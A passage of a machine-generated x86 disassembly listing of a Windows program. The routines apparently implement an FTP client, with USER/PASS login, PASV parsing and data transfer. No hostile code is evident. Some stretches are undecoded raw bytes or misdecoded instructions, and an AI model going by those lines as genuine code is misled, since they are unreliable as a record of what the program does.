[esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3DC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CE4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h mov esp, 0E8004454h movsd wait xor byte ptr [edi-70h], 83h les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42CB10 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_445504 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454FC ; jumptable 0042D351 case 1 mov dl, byte_445500 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454F4 ; jumptable 0042D351 case 2 mov cl, byte_4454F8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454EC ; jumptable 0042D351 case 3 mov al, byte_4454F0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454E4 ; jumptable 0042D351 case 4 mov dl, byte_4454E8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call near ptr 77C41B72h nop mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 50684D75h, 0E8004454h, 7780970Ah, 4C48390h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 0E8004455h dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44554468h, 0DEE85200h, 90778120h dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 0E83DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 44543868h dd 9558E800h, 83907780h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h dd 75144689h, 5438682Ch, 17E80044h, 90778095h, 5704C483h dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j call near ptr 77C1F2BCh nop mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 7F1373E8h, 108B9077h, 0F8685752h, 0E8004455h dd 77813912h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 